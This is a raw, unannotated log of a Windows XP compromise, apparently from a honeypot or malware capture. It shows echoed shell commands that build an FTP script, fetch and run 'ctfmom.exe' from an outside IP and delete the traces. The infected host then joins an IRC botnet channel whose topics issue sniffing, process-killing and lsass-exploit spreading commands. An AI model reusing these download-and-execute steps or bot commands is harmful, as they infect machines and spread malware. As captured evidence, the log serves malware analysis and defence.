VICTIM:  	Microsoft Windows XP [Version 5.1.2600] 
VICTIM:  	(C) Copyright 1985-2001 Microsoft Corp.C:\\WINDOWS\\system32> 
VICTIM:  	echo open 217.76.148.185 4329>.pif C:\\WINDOWS\\system32> 
VICTIM:  	echo user a a>>.pif C:\\WINDOWS\\system32>echo binary>>.pif C:\\WINDOWS\\system32>echo GET ctfmom.exe>>.pif C:\\WINDOWS\\system32>echo bye>>.pif C:\\WINDOWS\\system32>echo @echo off >c.batC:\\WINDOWS\\system32>echo ftp -n -v -s:.pif >>c.batC:\\WINDOWS\\system32>echo ctfmom.exe >>c.batC:\\WINDOWS\\system32>echo del .pif >>c.batC:\\WINDOWS\\system32>echo del /F c.bat >>c.batC:\\WINDOWS\\system32>echo exit /y >>c.batC:\\WINDOWS\\system32>c.bat 
ATTACKER:	220  
VICTIM:  	USER a 
ATTACKER:	331  
VICTIM:  	PASS a 
ATTACKER:	230  
VICTIM:  	TYPE I 
ATTACKER:	200  
VICTIM:  	PORT 192,168,1,102,4 
ATTACKER:	200  
ATTACKER:	RETR ctfmom.exe 
ATTACKER:	150  
ATTACKER:	226  
VICTIM:  	QUIT 
ATTACKER:	221  
VICTIM:  	NICK `qfjsankUSER `qfjsank 0 0 :`qfjsank 
ATTACKER:	:aaa.18083.com 001 `qfjsank :time, `qfjsank!~qfjsank@192.168.1.102:aaa.18083.com 005 `qfjsank MAP KNOCK SAFELIST HCN MAXCHANNELS=500 MAXBANS=60 NICKLEN=30 TOPICLEN=307 KICKLEN=307 MAXTARGETS=15 AWAYLEN=307 :are supported by this server:aaa.18083.com 005 `qfjsank WALLCHOPS WATCH=128 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=be,kfL,l,psmntirRcOAQKVGCuzNSMT NETWORK=time CASEMAPPING=ascii EXTBAN=~,cqr :are supported by this server:aaa.18083.com 422 `qfjsank :MOTD File is missing:`qfjsank MODE `qfjsank :+i 
VICTIM:  	JOIN #.has hs 
ATTACKER:	:`qfjsank!~qfjsank@192.168.1.102 JOIN :#.has:aaa.18083.com 332 `qfjsank #.has :.join #.k |`sniff.on -s |`adv.start lsass 100 3 0 x.x.x.x -r -s |`i.join #.sd:aaa.18083.com 333 `qfjsank #.has Hs 1218276621:aaa.18083.com 353 `qfjsank @ #.has :`qfjsank @dc @Hs :aaa.18083.com 366 `qfjsank #.has :End of /NAMES list. 
VICTIM:  	USERHOST `qfjsankJOIN #.has hsUSERHOST `qfjsankJOIN #.has hsUSERHOST `qfjsank 
ATTACKER:	:aaa.18083.com 302 `qfjsank :`qfjsank=+~qfjsank@192.168.1.102    :aaa.18083.com 302 `qfjsank :`qfjsank=+~qfjsank@192.168.1.102    :aaa.18083.com 302 `qfjsank :`qfjsank=+~qfjsank@192.168.1.102     
VICTIM:  	JOIN #.sd  
ATTACKER:	:`qfjsank!~qfjsank@192.168.1.102 JOIN :#.sd:aaa.18083.com 332 `qfjsank #.sd :`sniff.on -s |`pctrl.kill kiss.exe -s |`adv.start lsass 100 3 0 -r -b -s:aaa.18083.com 333 `qfjsank #.sd Hs 1218276209:aaa.18083.com 353 `qfjsank @ #.sd :`qfjsank @Hs :aaa.18083.com 366 `qfjsank #.sd :End of /NAMES list.